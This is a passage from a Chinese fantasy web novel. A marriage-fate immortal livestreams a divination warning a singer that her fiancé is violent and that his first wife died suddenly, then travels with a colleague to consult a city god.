在莺芝查看私信,浏览资料信息的时候,华晓识简单地介绍了一下自己的情况。 “我知道以你的能力,大概能算出来这些……但我既然是来找你了,就不想有隐瞒,有些事我能说的,就不要浪费你的能力去探测了,我听说这行都是窥探天机……有损寿数的。” “所以小莺,有需要的话就都来问我,我会全部告诉你的——你要省着一些,不要过渡耗费精力,求你帮我算未来就已经够麻烦你的了……千万不要为我浪费更多!” 莺芝听得忍俊不禁。 当时在录制《家远方》时,华晓识一直被其他几人有意无意地压着,不给她出头抢风的机会,所以莺芝竟也是头一次发现,对方还有这么一面。 单纯可爱。 虽然对于她的年纪来说,这种特质可能过于天真了,有点不合时宜的幼稚,但也没什么,毕竟全都是出自于她本人与生俱来的善良。 很讨喜。 莺芝没有纠正华晓识的说法,她浏览着华晓识发来的个人资料。 姓名,华晓识 性别,女 年龄,42岁 生日,xx年xx月xx日xx时xx分 情感状况,丧偶,二婚备婚中 姓名,梅仁兴 性别,男 年龄,35岁 生日,xx年xx月xx日xx时xx分 情感状况,离婚,二婚备婚中 另附带了两人各自的单人照,以及一张合照。 资料很齐全。 和先前那位[加班加到死]所给出的信息完全是两种风格。 一种是刚好卡着勉强够用的边边,另一种则是生怕不够用、尽可能详细地给——如果不是条件限制,莺芝毫不怀 疑对方会直接来找她,让她面看。 只是…… 当初在《家远方》录制现场时,隐隐约约从华晓识身上感受到的气息…… 莺芝默默叹了口气,把资料摘抄下来,回转到直播间。 “资料很细致,能够精确地算出来。” 华晓识欣喜:“真的吗?那太好了!” 莺芝点了点头:“不过先放到一边,说一说你和你目前婚姻对象的相识相处吧。” 闻言,华晓识一愣。 随后,她的脸颊以肉眼可见的速度染上了一层红意。 “这……”她讷讷片刻,最后一闭眼,“……好!” 虽然在大庭广众之下说自己的感情,有种在不分场合晒幸福,不穿衣服裸奔的感觉——但如果是算卦所需,那也不算什么。 华晓识略略组织了一下语言: “我和他是之前通过亲戚介绍认识的……我嘛,工作比较忙,也不怎么社交,最多的时候都是自己一个人待在家里写歌,所以朋友圈子很少,这么多年也都没有认识什么工作以外的人。” “但我年纪不小,逢年过节回家的时候总会被说。后来亲戚就给说了一个,我们抽空见了一面,虽然对方也是二婚,但整体聊下来……感觉还不错,就试着处了处。” “我忙起来忘记吃饭,他就做好饭给我送来,不管深夜还是半晌……我不会做饭,他也不嫌我,还说做饭是腌臜活,刀啊血啊的,他来就好,女孩子是花,不用碰这些……” “他就是,很体贴、很包容,不嫌我笨手笨脚,也不嫌我年纪大他很多……我们没有吵过架,也没有闹过矛盾,就、就……就是这样。” 华晓识期期艾艾:“……说完了,还要继续吗?” 第55章 非良配 莺芝没有第一时间回应华晓识,她点了点头,示意对方稍等。 随后,她便低下头去,摆了个掐算的架势,实则运起灵力开始在姻缘簿中筛选检索相关的缘线信息。 主播不说话,直播间里的氛围却也没有凝固,依旧热热闹闹的——知道答案马上就要揭晓,众人的情绪反而更高。 所有人的期待值都拉得满满的,交流着彼此的看法。 【难怪华晓识一提起对方就脸红呢,原来感情这么好。】 【还真别说,虽然可能有华晓识的主观滤镜在这里,但这个人听起来确实还不错,有点人夫感在里头的,难道是传说中的“二婚的人会照顾另一半”?】 【对不起难道只有我的关注点在“不管深夜还是半晌”吗?他不上班的吗?】 【听这意思,这对婚后的身份,估计是老婆养家老公持家?其实也还行,华晓识虽然不是头部明星,但毕竟是娱乐圈的,收入应该不低,顾一个小家生活绰绰有余,只要男的别追求什么豪车豪宅名表奢侈品,生活肯定是能有滋有味的。】 …… 显然,华晓识和刚刚只顾和莺芝说话完全完全不在意其他人的“加班加到死”、以及其他一些来算卦所以全部身心都在主播身上的观众们不一样—— 在莺芝算卦时,她虽然也咬着嘴唇目露期待,但视线却时不时就会落到弹幕上。 或许是身为公众人物的自觉,她下意识就回应起了弹幕上观众们的疑问。 “他上班的,不是无业游民,也不是全职家庭煮夫,不过还在创业阶段——他做饭的手艺很好,现在在计划着自己开店。” “他说……我以后可以作为‘明星体验官’给店里留一些纪念,店里可以放我的歌,挂我的奖杯,把店也可以挂在我的名下……” 华晓识解释着,脸颊上又漫上了笑容:“其实他想做家庭煮夫我也很愿意……但他说,不想我那么累,也不想我看轻他,想做个有用的人,想养我。” 【你到底说不说:哇塞了,看得出来,华晓识姐姐是真的陷进去了,对这男的很满意啊】 【履行摸鱼职责:其实我也觉得很不错……温柔挂的男人啊,感觉还挺适合华晓识的,两个温柔的人碰在一起,生活品质应该不错,祝福吧】 【一只浪迹瓜田的猹:我是想祝福的,但是理智告诉我再等等,反正都来到我们直播间了,也不差这一会儿(/大笑)哈哈哈哈,希望不是我草木皆兵】 【骂谁二次元呢:小莺姐姐宝宝女神,快点继续,你不盖章的cp我不敢磕啊!】 【晚间生物:我有个问题,这男的想开店,有管你要钱吗?】 【给予她温油ma:对,这是个很严肃的问题。而且,会不会他说那些只是为了想利用你的名气来给他的生意拉客?】 【FFF在逃纵火犯:受不了你们了,这么阴暗吗?没毛病也非得找点毛病出来,人家就不能是真的真爱吗?】 …… 华晓识也看到了观众们的起哄,她依旧抿着笑,完全没因为他们的挑剔和“找事儿”而有任何不愉快,只是轻轻地摇头,态度始终温柔。 “没有要我的钱。我知道你们在想什么啦,可能很多人都觉得,他和我这么一个……比他年纪大这么多的人在一起,肯定是别有所图——” “但是没有呀。” 她眼底含情,甜蜜脉脉: “他家里的情况……其实很不错。两边真要论家世,我才是高攀的那一个。如果不是有亲戚介绍,我们真的就像是两条平行线,很难有认识的机会。” “而且我只是一个歌手,他家里往上数,有在商业领域做得很不错的,也有从那个(政)的……不管怎么说,我都有点配不上他。” “——那他图我什么?扑哧……我之前也很奇怪,有问过他,他说,他喜欢我的性格,觉得是能和他达成灵魂共鸣的人。这个说法……咳嗯、是不是很那个?比我还要像一个文艺行业的从业者……” 可能是因为这里“咖位”最大的除了莺芝就是她,也可能是因为这里的观众们百分之八十都是莺芝粉丝的缘故,在她说话的时候,直播间整体的氛围要比《家远方》那次好上许多许多。 毕竟这里的观众们只图看乐子,不像家远方那种奔着各类明星来的,没什么非常致命的“粉籍”。 大家哪怕是挑刺,也是相对友善的。 在莺芝沉默的这段时间里,华晓识俨然已经成为了另一位主播,和弹幕聊得有来有回,全没了之前在镜头前那种拘谨和木讷。 当然,也可能是因为她现在在聊的是她很想要和人分享的内容,所以说起来比较顺畅和高兴。 “所以谢谢大家的关心啦,他应该不是图我的钱和事业——我来找小莺算卦,说实话……是因为觉得我配不上他,所以……也是想给自己一个安心吧。” “——小莺怎么这么久?是哦,怎么这么久?” 有观众指出了这一点,华晓识下意识跟着念了出来,符合了一句,随即也是一愣,反应过来,略带诧异地看向屏幕另一边的莺芝。 熟悉的画面中,素色长裙的女性仍旧闭着眼睛,脸上不见任何情绪。 这一幕,让华晓识无意识地生出了些紧张。 对哦……这一次她掐算的时间,好像……格外的长? 于是乎,她也渐渐没了声音。 哪怕弹幕仍然在热烈地想要和她交流,她的注意力也几乎全都挪到了莺芝身上,无暇再管其他的更多。 随着时间的推移,两分钟过去,莺芝始终没有睁开眼,华晓识的一颗心也跟着高高吊了起来,上上下下,忐忑摇摆,没个定处。 难道……她真的没办法和他好好过日子吗? 年龄身份、种种条件都不匹配的婚姻,注定无法继续? 直播间的观众们也察觉到了不对。 莺芝现在的这个状态,在每天的直播间都要出现三次,谁都知道这就是她“正在算”。 大家都已经习以为常了。 但今天的这一次,十分的不同寻常。 之前每次,她一般也就是半分钟、最多一分钟,就会结束这样的状态,笑着看向镜头,和大家说起她算出来的结果。 可现在…… 两分多钟了。 华晓识的信息给的不够? 还是因为是第四卦、超出了以往的限制,所以算起来比较困难? 怎么也不至于这么久吧? 终于,万众瞩目之下, 莺芝缓缓睁开了眼。 她脸上没有熟悉的近乎于格式化的营业笑容,没有大家习惯的轻松温和…… 华晓识感觉自己的心在慢慢沉下,沉到了地底。 “我……” 她想要开口,声音却都带了点涩意,全然没了刚才的轻松和甜蜜。 “……小莺,是结果不太好吗?” 莺芝看向她,嗓音倒是和往日一样柔和悦耳:“你再重复一遍,你要算什么?” 她这个态度,是个正常人都能察觉到不对劲。 弹幕上闹得更厉害了。 许多人在嚷嚷着反转,还有人喊着“果然有问题”“但问题出在谁?”“急急急我是急急国王”云云。 只一小会儿,直播间的讨论热度就已经直接翻了个翻。 华晓识顾不上那些,心脏仿佛压了一块石头,沉甸甸的。 她讷讷片刻,理解了莺芝的问话后,勉力吞咽了一下,艰难点头。 “我……想算算,我和我相亲对象的姻缘……” 华晓识尾音刚刚落下,莺芝已经给出了答复。 “——不可。” 果断的、丝毫不拖泥带水的,直白的结论。 华晓识被她这干脆的态度惊到,甚至来不及失落,。 “什……” 莺芝揉捏了一下眉心,借眨眼压下眉宇间些许小小的疲色,认真地看着华晓识。 “这段缘,不可。” 华晓识这才回过神来。 莺芝又接着道:“他非良配。” 是他非良配,不是自己吗? 华晓识有一瞬间的恍惚。 他竟然不是良配? 没道理啊。 “可明明……” 明明他对我很好啊。 莺芝阻断了她的欲言又止: “我听到了你刚刚所说的内容。” 今天的三卦本已经结束,给华晓识观缘,是额外又加了一次。 要说这对于莺芝来说原本也没太大关系,只是需要多消耗一点点灵力而已。 但问题在于,在这一次的观缘里,她看出了点别的东西,顺便又查看了点别的——这导致过度使用灵力,出现了一定程度的透支,她脑子里现在正一抽一抽地刺痛着。 压着不适感,莺芝尽量不显露出丁点痕迹,如常地开口,只是语速比之前更缓了一些,神色也更显凝重。 “但你应知,人心隔肚皮的道理——” “据我所观,你给予我的那张相片的主人、也就是你目前姻缘线所指向的对象——他命中带煞,姻缘浅薄,是穷凶极恶之相。所以,实非良配。” 穷凶……极恶? 这个判词下得不可谓不重。 直播间里许多的弹幕都和华晓识一样,直接被这个词语给镇住了。 须臾,有人试探发消息,也道出了华晓识的心声。 【穷凶极恶……是什么个意思?】 莺芝停顿了片刻,似乎在整理措辞。 “概括一下的话——他在日常生活中经常使用暴力,当然,这或许不是他的本意,但结果如此。” “他和前任妻子的姻缘线结束得极为突兀,我详细查看后得知,这终结于她的忽然去世。” 第56章 无法定论 莺芝的话虽然只有短短几句,但其中蕴含的内容,在大家听来却有些“绕”。 大多数人并不能在第一时间就立刻理清楚这几句话里的信息,就连全身心都搭在莺芝身上的华晓识,也是愣了好一会儿,迟滞地理解着莺芝所说的每一个字,然后拼凑成句、搭出前因后果。 然后,她的脸色在瞬间变得惨白。 “你的意思是……” 华晓识连完整的句子都不大能说得出了,所吐出口的,只有零碎的字节。 “他……妻子……” 莺芝看着她,眼中蕴着一些复杂的情绪,华晓识脑袋成了浆糊,厘不清那到底是什么。 她心绪纷乱,辗转难明。 【妈,妈呀……真的假的?】 【小莺是说,华晓识的那个对象,是个暴力狂,喜欢打人,然后他那个前妻之所以成为前妻,不是离婚了,是因为死了?】 【他把他老婆打死了??!现在又跑出来重新相亲??】 【真的假的,这怎么可能,把人打死了不用坐牢的吗,他才三十多岁,结过婚又坐过牢,时间也来不及啊。】 【要是真的,这都不是涉嫌犯罪了,是妥妥真的犯罪了啊?】 …… 弹幕上,观众们炸开了锅,质疑有之,惊异有之,群情纷乱。 莺芝端坐于满屏的争论之中,强行压下又一波翻上来的大脑刺疼,神情中不见笑意。 “我所能看出的,只有他命理含煞,前段婚姻结束突兀——像这等煞气过重之人,本就伤妻伤子,命理所利只有他自己。” “而当我循着他的缘线去探寻他那位妻子的缘线,所见便只是更为突兀的直接中断。” 代表着一个人一生所有缘分的长线,其中每段缘分到了结束之时,一般都会有一个逐渐衰退的过程。 无论是渐渐变淡的人际关系,逐渐远去的亲子手足,感情消磨的夫妻搭档,亦或是生命到了末端,因患病或自然衰老而产生的体质下降等,都会有这么一个过程。 但华晓识那位姓梅的相亲对象、他的前任妻子,缘线却没有这段逐渐衰弱的过程—— 这代表着她实为横死。 横死,所代表的含义也不算多。 无外乎于天灾、或者人祸。 结合那煞气缠身的男人命格所显, 莺芝也试着去寻求更多,但奈何除了观算命格命理这种基础的东西以外、她的权能相关只在姻缘。 其他的方向,如果想知道,就只能依靠以上方式,一点点寻求佐证、再加旁敲侧击地推论,才能得出一些内容。 所以最终,哪怕是已经极尽所能,莺芝所探查到的也只有这些。 至于更多的,她究竟为何而死,后事如何,横死之事是否与她的丈夫有关联……莺芝实在有心无力,鞭长莫及。 她诚实道:“她的死亡原因为何,我现在并不能就此断言,因为这些并非我所擅长的领域——希望大家也不要直接下定论,一切还需要再探究考量。” 闻言,华晓识却没有任何喜意。 她面色依旧苍白,踌躇了许久,才看向莺芝。 “小莺,如果我想去进一步的‘探究考量’……要怎么做?直接去问他吗?” 【不是吧姐,你还探究啥啊,还对那男的抱有希望?主播不都说了,那男的爱打人啊!】 【华晓识你清醒清醒,我看小莺直播这么久,还没见她算错过哪怕一次,她说了那男的是个暴力狂,他绝壁就是,你是真不怕婚后被打死啊?】 【我晕,恋爱脑能不能都别出来霍霍我们的智商啊,尊重祝福好吗】 【姐你清醒一点,这种男的,他老婆就算不是被他打死的,也不是什么好人,你别要他了行吗?】 …… 观众们比华晓识本人还激动,莺芝都还没开口,弹幕已经飞快地滚动了起来。 华晓识咬着唇,脸上显出一些挣扎,但很快,她就摇了摇头。 “我不是还对他抱有希望……我是想知道真相。” 她解释道:“因为当初介绍他给我认识的亲戚,那时候说的是……他和前妻是离婚分开的,他本人也从来没有提及过前妻的任何事情,我以为他们两个是因为性格不合适,所以和平离婚了……听了小莺的话,我很惊讶,想知道事情到底是怎么样的。” “就算是出了事故,突然去世了,也没有必要瞒着我啊 ?” 【……姐你是真傻白甜?】 【小莺是严谨,所以不把话说死,但大家都是成年人了,推理能力总该有吧?一个好好的人,嫁了个暴力狂,然后突然死了,结果老公相亲寻找下一任,还瞒着相亲对象不跟人家提自己老婆已经死了的事儿——你稍微动动你的脑袋瓜想想呢?】 【有些猫腻能直说,有些不能,但你拿着不能直说的猫腻去问人家能不能直说,人家能说有吗?哎哟气得我,都糊涂了。】 【还去问他?大姐,这种情况,你立刻从他的世界消失才对吧,不然说不定哪天他看到这直播的切片,先让你从世界消失了。】 【好言难劝想死鬼,你真想去,记得提前报警。】 …… 华晓识被指点得也有些无措。 “我不是……我知道可能有问题,我也不是真的死心塌地信任他——介绍我们认识的,是我亲戚,我不相信他们会害我啊,如果他真的是这样的人,他们难道不知道吗,为什么要害我呢?” 眼看她已经快要在跟观众们的一来一回对话中哭出来,莺芝无视了突突直跳的侧额,轻轻呼出一口气,道: “你想知道更多,我可以帮你。在那之前,你就先好好保护自己。” 今天的直播,捂是捂不住的,哪怕前边几卦都是添头,只有最后这么一卦算得上是“有爆点”,但毕竟有华晓识这位明星在这里—— 而她又是这一卦的主人公。 莺芝毫不怀疑,尽管直播还没结束,可现在这会儿,社交平台上也已经有了关于今晚直播内容的词条出现了。 暴力、相亲、华晓识——甚至于并没有被她下断言的“导致妻子死亡”,估计都会出现在其中。 而所知者众,华晓识的那位相亲对象、以及她的那些亲戚、共同的朋友们等,均有可能会知道这件事。 如果一切真的只是场误会,那倒还好;但如果真的是最坏的情况,那么目前,华晓识所需要做的,就只有保护好她自己。 至于其他的…… 莺芝郑重应道:“我可以想办法去多探寻一些,帮你完善这件事的因果,交给我就好。” 身为一位姻缘仙,她要做的,其实只是帮助“信徒”剪除这段不好的缘,阻止“孽缘”的出现,就足够了。 但身为一位仙人,莺芝还是想尽可能地,在有人找上门来寻求帮助、并且自己确实能够帮助到对方时,做更多一些。 再者,华晓识虽然人很内敛,在圈里的风评却不错,网络上的资料里也都有记载,她每年为了公益付出多少多少。 退一万步,抛开什么所谓的仙神助人不谈,就只说像华晓识这样“优质的信徒”——那不也是要尽量维护的吗? 所以莺芝应得极为顺畅。 听她如此说,华晓识怔然片刻,随即大喜,脸上一瞬掠过喜色,但转瞬又被忧思取代。 “你……这件事很难啊。你又不认识他们,最容易获得信息的,就是我了吧?” 她犹豫了片刻,还是摇头,“我自己想想该怎么办吧,你今天能帮我算这么一卦,我就已经很感激了,小莺,谢谢你。但是我自己的事情,还是我自己来做吧。” 再三对莺芝道过谢、并承诺一定会去月老庙添香火后,华晓识没有多停留,匆匆断开了连线。 直播间的观众们都看呆了。 【一只浪迹瓜田的猹:什么情况……这就走了?】 【骂谁二次元呢:不是,她要做啥啊??我严重怀疑她会直接找上亲戚去问,别啊姐姐,你理智一点!!】 【给予她温油ma:直接分手,别做多余的事。】 …… 【我真没有QAQ:主播说要帮忙,怎么帮?你不是只擅长姻缘吗,已经从华晓识给出的信息顺藤摸瓜找到了那个男人前期的缘线,能算出来的已经全部算出来了吧,还有什么可以做的?】 【我真没有QAQ:难道是要去找你的同门们、有擅长测算生命、厄运、未来这一类的?】 【履行摸鱼职责:……世事变迁,斗转星移,只有QAQ兄依旧坚持玄学交流,不管什么时候都在想着玄学,牛。】 …… 莺芝没有回应观众和粉丝们的问询,随着时间的推移,她灵力透支的情况越来越严重,眼看华晓识离去,她忍不住又闭了闭眼,强行压下刺痛感。 尽管这一卦算得上是草草结束,莺芝还是在简单的告别招呼之后,直接结束了直播。 直播间黑屏的三分钟里,观众们仍未讨论完,意犹未尽地转移阵地,去往群里以及各大社交平台。 文桐也溜溜达达摸去了一个群,看大家讨论着华晓识那个对象的情况,也搓搓手,一边做着自己的工作,一边加入了对话。 她埋头在文书后,一直没有抬头,也就没有留意到,文隽的身影不知道什么时候起消失在了座位上。 …… 退出直播,莺芝身体一晃,差点坐不稳。 原本还在盯着直播间后续事宜的红线小人吓得魂飞魄散,立刻跳了过来,查看起莺芝的情况。 它两只红豆眼露出焦急:“月仙大人,您现在得立刻返回天庭!” 原本只是给华晓识看看也就罢了,她看完华晓识,看对方那个男的,又去看那男的的前任妻子,甚至还想从那位女子的缘线查看出更多—— 连维持身体在凡间正常运转的灵力都拿去用了,是真不顾自己啊! 莺芝轻轻喘息了几下,也知道情况紧急,没有多说什么,直接取出了下凡时的信物,只是她手指还在轻微的颤抖,根本没办法激活。 红线小人见状,也不管什么了,直接跃上信物,把维持自己形态的灵力全部倾注进了其中。 白濛濛的雾气从其中弥散开来,逐渐蔓延,将莺芝整个人都包裹了进去。 雾气散去,小小的出租屋里,已经空无一人。 朝天门。 莺芝出现在门口处,稍微摇晃了一下。 现在已经入夜,下凡的通道在几个时辰前就已关闭,成为一个单向通道,而在这时间段回来的,要经历很多的盘问和手续,麻烦得很。 久而久之,大家都已经习惯了这时候不能下去,所以很少有身处凡间的仙人会选择在这时候回来。 值守的守卫见状,立即就要上前问询。 就在此时,一道身影先他一步跨至门口,柔和的灵力凝成无形的手,托举住了莺芝还有些摇晃的身形。 “抱歉,她是我的友人,下凡办了些事情,没来得及在白天回来——能容许我们先在附近稍微休息一下,再来登记吗?” 守卫一愣,便见一张身份牌飘到身前。 “这是我的令牌,可以先做登记、或做抵押,我们就在附近,稍后就来。” 身份牌上,来人的名姓资料清晰显现—— 姓名:文隽。 仙龄:— 所属:xx 职位:xx …… 守卫接过令牌,迅速核对了一下,确认有效后,方才一点头。 “可以。” “多谢。” 文隽朝他一颔首,带着莺芝走进朝天门,在大道上寻了一处长椅,扶她坐下。 在回到天庭的一瞬间,加诸莺芝身上的桎梏已经被解除,周围至纯灵力组成的云雾便海水般阵阵卷来,争先恐后地填充着枯竭的灵海。 除了有些痛,彻底恢复也只是时间问题而已。 所以她虽然头脑昏涨,却清楚知道周围的事情。 本身她还在想回来时要如何面对冗长的手续——要不要先耍赖在守卫面前的地上瘫坐一会儿,等恢复一些力气后再进行,没想到文隽竟然会来到这里,真是帮了大忙了。 莺芝心中稍安,被文隽的灵力托扶着,到了长椅落座。 没有选择在这时候开口,一片无声中,她闭上双眼,迅速调整起了自身的状态。 不到一刻钟,莺芝睁开眼,吐了口气。 “这云,真的好用。”她由衷感慨。 不愧是她之前加班完老喜欢来薅一把的绝佳羊毛。 文隽没忍住笑了一声。 这一下,莺芝才想起来他还在这里,眼睛倏地瞪圆。 嘶,这么小家子气的样子……该不会被同僚嫌弃吧。 算了……反正她就是穷,这也是事实。 莺芝干咳一声,站起身来,整理了一下裙摆,郑重其事冲文隽一拱手。 “这次真的谢谢你了,要不是你,我估计还得跟守卫掰扯好一会儿。” 文隽不露痕迹观察了一下她的状态,发现没有什么大事后,才点了点头。 “没事,我也刚好想着出来透透气。” “这会儿你不都已经休息了吗。”莺芝拿出时玉看了一眼,稀奇,“失眠吗?少见啊。” 文隽轻咳了一声。 “嗯,有点失眠,所以在看你直播。发现你状态不太对,想着或许会回来,就过来看看。” 莺芝动容:“专门为我来的啊,那更是太谢谢你了——咱们边走边说吧,你令牌还在守卫那儿呢,我也去做个登记……对了,那你对华晓识的事怎么看?” “这是凡人的因果,我不建议干涉太多。” 文隽道:“何况她没有寻求你的帮助,决定自己去处理。如果你强行干预,即便成了,也不会有任何功德。” “这我知道。”莺芝没有反驳,而是道,“但假使我想介入,要用什么方式比较好?药王殿的仙君们能够查看到那名横死女性的死亡原因吗?” “药王殿司掌之事只在生前,不管身后。此事确实不建议你介入。” 莺芝摸摸下巴:“那也就是说,只能去找鬼界的相关鬼君,尝试找出那名已经死去的女性魂魄?” 文隽:“逝者已矣,最好不要打扰,还有……不建议你介入。” “假如,假如!” “……假如你非要介入,有个更方便的法子。” 莺芝倏地抬头:“什么法子?” “……” 文隽沉默地看了她片刻,最终,缴械退让,“去试试寻找城隍吧。” “城隍…城隍……”莺芝默念着这个词语,眼睛越来越亮,“对啊,我怎么就没想到呢!” 城隍因城而生,不属天仙,不归天庭。 而城隍的职责除了保护城池,还有监察民之善恶,负责记录、审判、奖惩当地居民的善恶。 最清楚当时真相的,除了当事人,就只有城隍了! 城隍此职,一城一位,只要找到当时事发时的城市是哪里,再去找城隍探问,确实是个好法子。 ……可是,她也不认识凡间的城隍啊。 “请您出示相关证明,办理归来手续。” 守卫出声,莺芝思路被打断,便也遵循规章开始登记相关。 等办完手续离开,她思绪仍沉在先前的事里。 走出去几步,忽听身边人无奈开口。 “……我认识几位城隍。” 莺芝脚步一顿,惊喜回头。 文隽:“……假如?” 莺芝坦荡:“拜托,帮帮忙!” 文隽无言地看着她。 见他不打算松口,莺芝纠结了一下,只能如实解释: “凡间无人知晓这件事……我担心那位女子的冤屈也仍未申诉。说到底,这是一段孽缘带给她的……我于心不忍。” 文隽定定看了她片刻。 “好。” 第57章 判 得了文隽的应允,莺芝有点高兴。 不过高兴归高兴,她也知道眼下的情况并不适合谈事情。 “你要是不急着回去休息,不如和我去姻缘殿坐一坐?” 环顾四周,莺芝邀请道。 文隽欲言又止。 先不说还有一堆永远做不完的工作等着自己回去加班,现在这种时候,她才是最应该去休息的那一个吧? 明明就是一身疲惫回来的,结果不到半个小时,就又要着急忙慌地投身工作…… 虽然已经知道她是“工作使我快乐”党派的了,但—— 要不要这么卷? 可再看莺芝,双目有神,神采奕奕,一副干劲十足的样子,神态间哪还有一点刚才的疲色? 见他看过来,还非常期待地扬了扬眉毛:“去吗?我们坐下好好聊那几位城隍。” ……算了。 工作就工作吧。 做别人的工作,谁说不算是一种摸鱼呢。 文隽很迅速地给自己找了个理由,点了点头。 “好。” 天庭的夜晚自带一股静谧的气息,即便很多大殿仍旧灯火通明,整体氛围却是和凡间的霓虹闪烁全然不同,颇有几分幽寂的感觉。 姻缘殿倒是早早黑了灯,只留几豆萤火,投照出门头匾额的几个大字。 进门时,文隽忍不住多看了两眼。 连院里都空无一人……就像是个真的花园一样,安安静静的。 换做他们殿,交错的小径上都得是神色匆匆抱着文书低头闷走的神官们,整个殿上下都是一股子闷头干活的牛马感。 一司主殿,这么荒凉的景象,他可真是多少年都没见过了。 莺芝完全不知道他的诧异,习以为常地提步迈进,指尖灵力闪动,缠在她手腕死物一样的红线顿时被生机填充,精神了起来。 “月——……咦,摸鱼的,你怎么也在?” 文隽还没说话,莺芝就已经伸手把它丢了出去。 “对客人放尊重点——我们要谈点事情,你去准备茶点。” 红线小人忙不迭点头,身形在空中一晃,调转方向,飘了出去: “噢,好的。” 几分钟后,会客的侧殿内。 莺芝把一小碟点心推给文隽,眨眼:“这是用姻缘殿自种的仙华做的糕点,你尝尝。” 文隽不紧不慢捻起一块,顶着她期待至极就差把“吃完快说正事”写出来挂脑门上的眼神,慢条斯理“品尝”了几口。 莺芝:“那几位城隍……” 文隽好笑地擦了擦手指,没有再吊她胃口。 “因为工作的缘故,之前有和几位城隍有过接触,如果刚好是他们的城市,那么只是要借阅一下他们平时的工作日志、或相关的记录的话,应该不难。” “真的吗?”莺芝大喜。 可……工作日志这种东西,是他们说借就能借的吗,又不是他们的上司什么的…… “是。”文隽道,“他们之前有拜托过我一些事,会比较好说话。” 城隍和送子殿会有什么“拜托”的…… 莺芝若有所思。 难道是私人的事……那几位城隍想要孩子了? 文隽道:“所以现在首要做的,就是去打探一下华晓识那位相亲对象之前居住的城市是哪一所,再论后续。” 止住自己天马行空的思绪,莺芝连连点头:“好,不过今晚下不去了,我明天下去就问。” 她没那么多功德,没给手机开联通两界的功能,没法实时联系到华晓识。 “你认识的那几个城隍是哪几个?” “这个不急。”文隽道,“有好几个呢,等问出之后再说。” “成。” 两人约定好到时再说,文隽起身告辞,临走前,两只鹂鸟叼着一包点心,隔空丢进了他怀里。 莺芝扶额。 “姻缘殿很久没客人来了……它们有点高兴……你带回去分着吃吧。” 小东西,丢大人。 文隽莞尔,应声离去。 翌日。 莺芝卡着下凡次数的刷新重置时间,又一次回到了熟悉的凡间小庙。 没有耽误时间,她站到实地后她做的第一件事,就是拿出手机,给华晓识打了个电话过去。 ——对方之前留了联系方式。 接到莺芝的电话,华晓识很震惊。 她怎么也没想到 ,这才刚一晚上过去,莺芝就能“找到了精通这方面玄学的朋友”——她自己可是翻来覆去一晚上都没想到合适的方式呢! 不过震惊之余,却是莫大的欣喜。 她原以为莺芝说可以帮忙是在勉强,其实并没有合适的方法来探查这件事,却不曾想这些竟然真的似乎是很轻易就能达成的事。 所以对于莺芝的问询,她没有丝毫犹豫,事无巨细把所知道的都说了一遍。 “他是润城人,在润城本地出生,后来到了首都,听说他和妻子就是在首都上学的时候认识的,毕业后他们一起回到了润城结婚定居。” “我听他说,那女性年纪和他相当,但家里比较困难,所以生活中‘总是喜欢斤斤计较’,两人的观念不合,经常因为这些事产生矛盾,后来,也就是三年前的离婚——他说也是因为这个。” “我知道的就是这些……他不怎么提起前妻,只有偶尔会说一半句,总的拼起来也就这么点内容了。而且……我也不知道这些是不是都是真的,他有没有骗我……” 华晓识语气有点落寞。 “她应该不算润城人,但我不知道更多了。这些……有帮助吗?” “有。”莺芝柔声道,“这些就足够了,很有用。” 挂断电话,莺芝当即点开了文隽的对话框,开始发消息。 【问出来了,梅仁兴是润城人,和妻子结婚后也在润城居住。】 【我们找润城的城隍就可以了吧?】 【你认识润城的城隍吗?】 文隽的消息回复的也很快。 【认识。】 莺芝回了个大拇指。 【那我们在哪里见?直接去润城吗,不耽误你太多时间。】 文隽: 【没关系,一起去吧。】 【我在朝天门排队,这就下去。】 莺芝收起手机,心中总算安定了。 她溜达出去,买了点吃的喝的,然后回到庙里,等待着和文隽的到来。 等文隽的身影也出现在庙里,两人碰上头,才一起离开。 润城位置靠北,距离这里有相当一段的距离,不过乘坐高铁的话,倒也不算太慢。 天色渐晚,夜幕初临。 莺芝两人买了最近一班的高铁票,但也要等到明天,只能暂且先在高铁站附近住下。 晚上的直播照常进行,一贯的喧闹,不少观众眼尖地发现莺芝不在之前常在的地方了,纷纷询问起去哪了。 莺芝没有理会,也没有多说今天明天在做的事,把外界的嘈杂和讨论都摒除,一本正经按照流程直播着。 第二天一早,两人赶早乘车。 下午时分,终于抵达润城。 甫一下车,一股夹杂着凌冽之意的凉寒之气就扑面而来。 现在早已不是夏季,天气转凉,润城的温度则更低,来往的旅客行人也都不约而同裹上了预备着的厚衣服。 莺芝两人也借拿行李的势头,从乾坤袋里取了厚衣服穿上。 循着地图指示找到城隍庙所在,两人没有再耽搁,直奔目的地。 到了城隍庙附近,莺芝正要继续往前,却被文隽制止了。 “怎么了?”她疑惑询问。 文隽双手插在衣服两侧的口袋里,朝一个方向抬了抬下巴。 “他不在庙里,在别的地方住。” 莺芝:“?” 城隍不住城隍庙吗? 像是看出了她的不解,文隽笑着解释:“城隍也不见得就一定要住城隍庙啊,他们和我们不同,自诞生起就与诞生的城市捆绑,从诞生之初到城市灭亡,都不能离开城市一步——万千年来,他们经年累月地生活在这里,当然也会像普通人那样,给自己打造不同的身份,彻底融入这里的环境。” “而且,庙里条件艰苦,他们总不能始终住在这里吧?也有追求生活品质的权利嘛。” 莺芝:“……好有道理。” 是她狭隘了。 所以,润城的城隍现在住在哪? “跟我来吧,也不远。” 接下来的路段,没有再按照地图的指示,莺芝跟在文隽身边,在几条路上七拐八拐,很快,来到了一家临街的店铺前。 莺芝抬头,看了看门头颇有诗意的牌匾。 “……书店?” “是。”文隽道,“润城的城隍在这里开了家店,说是有百年老字号传承的书店,里边放了不少真古籍镇店,在小众爱好的圈子里很有名气。” 百年老字号…… 润城诞生都不止百年了,这岂止百年字号啊。 看来这位城隍的生活还挺有意思的。 莺芝默默感慨着。 文隽已经率先迈步,推开了书店的门。 “叮铃——” 木质的门被推开,清脆的铃声响起,一道淡淡的幽香和着熏人的暖气一起扑鼻而来。 店铺里,一人闻声抬头。 “咦,文仙君——” 那人看向文隽,又看到跟着他走进来的莺芝,“咦,这位是……” 看清那人的样貌,莺芝也差点“咦”了出来。 “这位是姻缘殿的仙子。” 文隽介绍了莺芝,淡淡笑道:“好久不见,茶夫人。” ——这润城的城隍,竟然是一位女性。 茶夫人穿着宽松的棉布长衫,倚坐在燃着袅袅熏香的长桌边,手边还搁着一盏冒着淡淡热气的茶。 她听了文隽的话,收回落在两人身上的视线,不怎么用心遮掩地撇了一下嘴: “也没很久吧……我也不是很想见你。” “我知道。” 